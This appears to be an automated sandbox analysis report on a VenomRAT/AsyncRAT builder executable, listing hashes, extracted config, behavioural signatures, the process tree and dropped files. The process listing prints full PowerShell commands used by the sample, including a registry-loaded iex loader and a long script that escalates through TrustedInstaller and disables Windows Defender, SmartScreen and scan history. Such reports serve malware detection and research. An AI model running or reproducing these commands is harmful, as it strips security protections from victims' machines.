Analysis

  • max time kernel
    150s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-11-2024 16:14

General

  • Target

    VenomRAT v6.0.3 (+SOURCE)/VenomRAT v6.0.3 (SOURCE)/Venom RAT + HVNC + Stealer + Grabber.exe

  • Size

    14.2MB

  • MD5

    3b3a304c6fc7a3a1d9390d7cbff56634

  • SHA1

    e8bd5244e6362968f5017680da33f1e90ae63dd7

  • SHA256

    7331368c01b2a16bda0f013f376a039e6aeb4cb2dd8b0c2afc7ca208fb544c58

  • SHA512

    7f1beacb6449b3b3e108016c8264bb9a21ecba526c2778794f16a7f9c817c0bbd5d4cf0c208d706d25c54322a875da899ab047aab1e07684f6b7b6083981abe5

  • SSDEEP

    196608:Nja6chUZX81lbFklbYJygrP7aIBhLkNPFCZZwiJl1NLIsPA8fxvuIMzd/95UhS14:qT+P+Zw6NLIsFfskh1BmXG04

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

127.0.0.1:4449

Mutex

gkkhjqiliiyxyd

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Async RAT payload 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 46 IoCs
  • Modifies registry class 64 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 50 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3 (+SOURCE)\VenomRAT v6.0.3 (SOURCE)\Venom RAT + HVNC + Stealer + Grabber.exe
    "C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3 (+SOURCE)\VenomRAT v6.0.3 (SOURCE)\Venom RAT + HVNC + Stealer + Grabber.exe"
    1⤵
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    PID:2052
  • C:\Windows\servicing\TrustedInstaller.exe
    C:\Windows\servicing\TrustedInstaller.exe
    1⤵
      PID:524
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4212
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" qc windefend
          3⤵
          • Launches sc.exe
          PID:2632
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
          3⤵
            PID:2912
          • C:\Windows\system32\whoami.exe
            "C:\Windows\system32\whoami.exe" /groups
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3856
          • C:\Windows\system32\net1.exe
            "C:\Windows\system32\net1.exe" stop windefend
            3⤵
              PID:1084
            • C:\Windows\system32\sc.exe
              "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
              3⤵
              • Launches sc.exe
              PID:528
        • C:\Windows\system32\wbem\WmiApSrv.exe
          C:\Windows\system32\wbem\WmiApSrv.exe
          1⤵
            PID:3108
          • C:\Windows\System32\rundll32.exe
            C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
            1⤵
              PID:1972
            • C:\Users\Admin\Downloads\Client.exe
              "C:\Users\Admin\Downloads\Client.exe"
              1⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:2924
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc @ ( e c h o   o f f % ) [ 1 ]  
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     n v   ( ' T ' + $ _ ) ( [ A c t i v a t o r ] : : C r e a t e I n s t a n c e ( $ T [ $ _ ] ) ) } ;   $ H = $ I . m o d u l e . G e t T y p e ( " S y s t e m . R u n t i m e . I n t e r o p ` S e r v i c e s . M a r ` s h a l " ) ;  
     $ W P = $ H . " G e t ` M e t h o d " ( " W r i t e $ J " , [ t y p e [ ] ] ( $ J , $ J ) ) ;   $ H G = $ H . " G e t ` M e t h o d " ( " A l l o c H ` G l o b a l " , [ t y p e [ ] ] ' i n t 3 2 ' ) ;   $ v = $ H G . i n v o k e ( $ n u l l , $ Z )  
     ' T r u s t e d I n s t a l l e r ' , ' l s a s s ' | % { i f ( ! $ p n ) { n e t 1   s t a r t   $ _   2 > & 1   > $ n u l l ; $ p n = [ D i a g n o s t i c s . P r o c e s s ] : : G e t P r o c e s s e s B y N a m e ( $ _ ) [ 0 ] ; } }  
     $ W P . i n v o k e ( $ n u l l , @ ( $ v , $ p n . H a n d l e ) ) ;   $ S Z = $ H . " G e t ` M e t h o d " ( " S i z e O f " , [ t y p e [ ] ] ' t y p e ' ) ;   $ T 1 . f 1 = 1 3 1 0 7 2 ;   $ T 1 . f 2 = $ Z ;   $ T 1 . f 3 = $ v ;   $ T 2 . f 1 = 1  
     $ T 2 . f 2 = 1 ; $ T 2 . f 3 = 1 ; $ T 2 . f 4 = 1 ; $ T 2 . f 6 = $ T 1 ; $ T 3 . f 1 = $ S Z . i n v o k e ( $ n u l l , $ T [ 4 ] ) ; $ T 4 . f 1 = $ T 3 ; $ T 4 . f 2 = $ H G . i n v o k e ( $ n u l l , $ S Z . i n v o k e ( $ n u l l , $ T [ 2 ] ) )  
     $ H . " G e t ` M e t h o d " ( " S t r u c t u r e T o ` P t r " , [ t y p e [ ] ] ( $ D [ 2 ] , $ J , ' b o o l e a n ' ) ) . i n v o k e ( $ n u l l , @ ( ( $ T 2 - a s   $ D [ 2 ] ) , $ T 4 . f 2 , $ f a l s e ) ) ; $ w i n d o w = 0 x 0 E 0 8 0 6 0 0  
     $ 9 = $ T [ 0 ] . " G e t ` M e t h o d " ( ' C r e a t e P r o c e s s ' ) . I n v o k e ( $ n u l l , @ ( $ n u l l , $ c m d , 0 , 0 , 0 , $ w i n d o w , 0 , $ n u l l , ( $ T 4 - a s   $ D [ 4 ] ) , ( $ T 5 - a s   $ D [ 5 ] ) ) ) ;   b r e a k  
 }  
  
 $ w d p = ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '  
 '   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s ' , ' \ U X   C o n f i g u r a t i o n ' , ' \ M p E n g i n e ' , ' \ S p y n e t ' , ' \ R e a l - T i m e   P r o t e c t i o n '   | %   { n i   ( $ w d p + $ _ ) - e a   0 | o u t - n u l l }  
  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s '   D i s a b l e N o t i f i c a t i o n s   1   - T y p e   D w o r d   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ U X   C o n f i g u r a t i o n '   N o t i f i c a t i o n _ S u p p r e s s   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s '   D i s a b l e N o t i f i c a t i o n s   1   - T y p e   D w o r d   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ U X   C o n f i g u r a t i o n '   N o t i f i c a t i o n _ S u p p r e s s   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s \ S y s t e m '   E n a b l e S m a r t S c r e e n   0   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '   D i s a b l e A n t i S p y w a r e   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '   D i s a b l e A n t i S p y w a r e   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 n e t 1   s t o p   w i n d e f e n d  
 s c . e x e   c o n f i g   w i n d e f e n d   d e p e n d =   R p c S s - T O G G L E  
 k i l l   - N a m e   M p C m d R u n   - F o r c e   - e a   0  
 s t a r t   ( $ e n v : P r o g r a m F i l e s + ' \ W i n d o w s   D e f e n d e r \ M p C m d R u n . e x e ' )   - A r g   ' - D i s a b l e S e r v i c e '   - w i n   1  
 d e l   ( $ e n v : P r o g r a m D a t a + ' \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ S c a n s \ m p e n g i n e d b . d b ' )   - F o r c e   - e a   0                       # #   C o m m e n t e d   =   k e e p   s c a n   h i s t o r y  
 d e l   ( $ e n v : P r o g r a m D a t a + ' \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ S c a n s \ H i s t o r y \ S e r v i c e ' )   - R e c u r s e   - F o r c e   - e a   0  
 ' @   - F o r c e   - e a   0 ;   i e x ( ( g p   R e g i s t r y : : H K E Y _ U s e r s \ S - 1 - 5 - 2 1 * \ V o l a t i l e *   T o g g l e D e f e n d e r   - e a   0 ) [ 0 ] . T o g g l e D e f e n d e r )  
 # - _ - # 
                2⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3644
                • C:\Windows\system32\sc.exe
                  "C:\Windows\system32\sc.exe" qc windefend
                  3⤵
                  • Launches sc.exe
                  PID:4344
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                  3⤵
                    PID:4364
                  • C:\Windows\system32\whoami.exe
                    "C:\Windows\system32\whoami.exe" /groups
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:456
                  • C:\Windows\system32\net1.exe
                    "C:\Windows\system32\net1.exe" start TrustedInstaller
                    3⤵
                      PID:3468

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                  Filesize

                  3KB

                  MD5

                  556084f2c6d459c116a69d6fedcc4105

                  SHA1

                  633e89b9a1e77942d822d14de6708430a3944dbc

                  SHA256

                  88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

                  SHA512

                  0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                  Filesize

                  1KB

                  MD5

                  a68fcc3482ebb381cd7eb80d4dfc7ac9

                  SHA1

                  68f694b1b7999996678244d8ef9d95f520ec2e39

                  SHA256

                  1bfbb143c70207d28f8266d08a28e052467ad0eab48c65c19ba8636d44093ea0

                  SHA512

                  a8a5cc66e81ebb417dcd216541690a31913f8a9cbe676b76ac451c009540ef33558dba762da1736c0f61fb36dfaa71f0926ac1ab8919a892a8ab49087999a2d8

                • C:\Users\Admin\AppData\Local\Server\Venom_RAT_+_HVNC_+_Steale_Url_cvf54gjurhovsxsxgwejkoeavchtvkvc\6.0.3.1\user.config

                  Filesize

                  1KB

                  MD5

                  ec49b7f5618d420d4c61a527d52c2638

                  SHA1

                  4c627db09339ea9d8266671a866140c5c9377c89

                  SHA256

                  1e5fc255b1d6ff6b9fcb242f9aade5db7d5ce869a7bad4a216cf92c90f239def

                  SHA512

                  d33bbc0e55aa55a52b12a476d570bc2f2bb649313d416d94cd7bf73c0e76bdbf016b8cecf2eb3aaafb490e36238a8bec3e41e88201b65d032daaed757ddabd6c

                • C:\Users\Admin\AppData\Local\Server\Venom_RAT_+_HVNC_+_Steale_Url_cvf54gjurhovsxsxgwejkoeavchtvkvc\6.0.3.1\user.config

                  Filesize

                  1KB

                  MD5

                  3fb8d2a2cd510948957ef43af5de1a6a

                  SHA1

                  165c56b69c45db04546436b8cfcd21bf543fe1e3

                  SHA256

                  095a2b7ce003847ea27f3eb98eca1c5bf9098c194c137c550bed549fe8d46306

                  SHA512

                  ddf025953f0487612cab831866ce03285aa810a406d0a92d4491a2d26c7eaba2c4108c230309732a7ab6184c1578419164afe2fdc8e0179d8584bfbc7e75f1c6

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hh2h2qte.mmd.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • C:\Users\Admin\Downloads\Client.exe

                  Filesize

                  74KB

                  MD5

                  3b926161a3ef6c1058bb2465a783dc33

                  SHA1

                  b49ed825304bf042de60001bbbbba4ec4f5d873e

                  SHA256

                  6d178f02e44bb9f1927aa5e74b62fde07e62584b6e7be5d246d6d8e93931ba2c

                  SHA512

                  59f44f6a617edabf753fc153f282ae3d268d30713031efd2ca3c72c7292efc1e5647a40f3643a5b0343aaab6bb31cb3a478c196b97cda82faeb62fc712b7145a

                • memory/2052-9-0x000001B2703A0000-0x000001B270A32000-memory.dmp

                  Filesize

                  6.6MB

                • memory/2052-25-0x00007FF969F50000-0x00007FF96AA11000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2052-8-0x000001B26FBE0000-0x000001B27039E000-memory.dmp

                  Filesize

                  7.7MB

                • memory/2052-0-0x00007FF969F53000-0x00007FF969F55000-memory.dmp

                  Filesize

                  8KB

                • memory/2052-10-0x000001B26F7C0000-0x000001B26FB5C000-memory.dmp

                  Filesize

                  3.6MB

                • memory/2052-11-0x000001B270ED0000-0x000001B271354000-memory.dmp

                  Filesize

                  4.5MB

                • memory/2052-12-0x000001B26BD70000-0x000001B26BD90000-memory.dmp

                  Filesize

                  128KB

                • memory/2052-13-0x00007FF969F50000-0x00007FF96AA11000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2052-14-0x000001B270C60000-0x000001B270E72000-memory.dmp

                  Filesize

                  2.1MB

                • memory/2052-15-0x00007FF969F53000-0x00007FF969F55000-memory.dmp

                  Filesize

                  8KB

                • memory/2052-16-0x00007FF969F50000-0x00007FF96AA11000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2052-17-0x00007FF969F50000-0x00007FF96AA11000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2052-18-0x000001B270AF0000-0x000001B270B9A000-memory.dmp

                  Filesize

                  680KB

                • memory/2052-19-0x00007FF969F50000-0x00007FF96AA11000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2052-22-0x000001B26E910000-0x000001B26E91A000-memory.dmp

                  Filesize

                  40KB

                • memory/2052-23-0x00007FF969F50000-0x00007FF96AA11000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2052-24-0x00007FF969F50000-0x00007FF96AA11000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2052-6-0x000001B26C560000-0x000001B26C638000-memory.dmp

                  Filesize

                  864KB

                • memory/2052-28-0x00007FF969F50000-0x00007FF96AA11000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2052-29-0x00007FF969F50000-0x00007FF96AA11000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2052-30-0x000001B275210000-0x000001B275334000-memory.dmp

                  Filesize

                  1.1MB

                • memory/2052-7-0x000001B26BD20000-0x000001B26BD70000-memory.dmp

                  Filesize

                  320KB

                • memory/2052-5-0x00007FF969F50000-0x00007FF96AA11000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2052-4-0x000001B26C300000-0x000001B26C552000-memory.dmp

                  Filesize

                  2.3MB

                • memory/2052-1-0x000001B250680000-0x000001B2514B4000-memory.dmp

                  Filesize

                  14.2MB

                • memory/2052-55-0x000001B26E3A0000-0x000001B26E452000-memory.dmp

                  Filesize

                  712KB

                • memory/2052-56-0x000001B26E490000-0x000001B26E4B2000-memory.dmp

                  Filesize

                  136KB

                • memory/2052-2-0x000001B26CCD0000-0x000001B26E0D4000-memory.dmp

                  Filesize

                  20.0MB

                • memory/2052-3-0x000001B26BDE0000-0x000001B26C2F2000-memory.dmp

                  Filesize

                  5.1MB

                • memory/2924-61-0x0000000002B40000-0x0000000002B5E000-memory.dmp

                  Filesize

                  120KB

                • memory/2924-60-0x0000000002930000-0x000000000293E000-memory.dmp

                  Filesize

                  56KB

                • memory/2924-59-0x000000001B800000-0x000000001B876000-memory.dmp

                  Filesize

                  472KB

                • memory/2924-52-0x0000000000720000-0x0000000000738000-memory.dmp

                  Filesize

                  96KB